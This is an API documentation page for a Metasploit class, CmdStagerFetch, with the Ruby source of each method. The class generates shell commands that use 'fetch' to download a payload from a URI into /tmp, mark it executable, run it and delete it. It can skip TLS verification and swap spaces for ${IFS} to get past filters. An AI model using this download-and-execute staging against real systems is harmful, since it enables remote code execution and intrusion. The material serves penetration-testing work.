Class: Rex::Exploitation::CmdStagerFetch

Inherits:
CmdStagerBase show all
Defined in:
lib/rex/exploitation/cmdstager/fetch.rb

Instance Method Summary collapse

Methods inherited from CmdStagerBase

#encode_payload, #generate_cmds, #initialize, #parts_to_commands, #setup, #slice_up_payload, #teardown

Constructor Details

This class inherits a constructor from Rex::Exploitation::CmdStagerBase

Instance Method Details

#cmd_concat_operator ⇒ Object 



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# File 'lib/rex/exploitation/cmdstager/fetch.rb', line 55

def cmd_concat_operator
  ';'
end

#compress_commands(cmds, opts) ⇒ Object 



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# File 'lib/rex/exploitation/cmdstager/fetch.rb', line 50

def compress_commands(cmds, opts)
  cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
  super
end

#generate(opts = {}) ⇒ Object 



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# File 'lib/rex/exploitation/cmdstager/fetch.rb', line 13

def generate(opts = {})
  if opts[:payload_uri].nil?
    raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
  end

  opts[:temp] ||= '/tmp'
  opts[:file] ||= Rex::Text.rand_text_alpha(8)
  opts[:silent] = true if opts[:silent].nil?
  @payload_path = "#{opts[:temp]}/#{opts[:file]}"

  super
end

#generate_cmds_decoder(opts) ⇒ Object 



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# File 'lib/rex/exploitation/cmdstager/fetch.rb', line 40

def generate_cmds_decoder(opts)
  cmds = []

  cmds << "chmod +x #{@payload_path}"
  cmds << @payload_path
  cmds << "rm -f #{@payload_path}" unless opts[:nodelete]

  cmds
end

#generate_cmds_payload(opts) ⇒ Object 



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# File 'lib/rex/exploitation/cmdstager/fetch.rb', line 26

def generate_cmds_payload(opts)
  cmds = []
  nvp  = '--no-verify-peer'

  silent_flag = opts[:silent] ? 'q' : ''
  if opts[:ssl]
    cmds << "fetch -#{silent_flag}o #{@payload_path} #{nvp} #{opts[:payload_uri]}"
  else
    cmds << "fetch -#{silent_flag}o #{@payload_path} #{opts[:payload_uri]}"
  end

  cmds
end

#http? ⇒ Boolean

Returns:

  • (Boolean) 


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# File 'lib/rex/exploitation/cmdstager/fetch.rb', line 5

def http?
  true
end

#user_agent ⇒ Object 



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# File 'lib/rex/exploitation/cmdstager/fetch.rb', line 9

def user_agent
  /^fetch/
end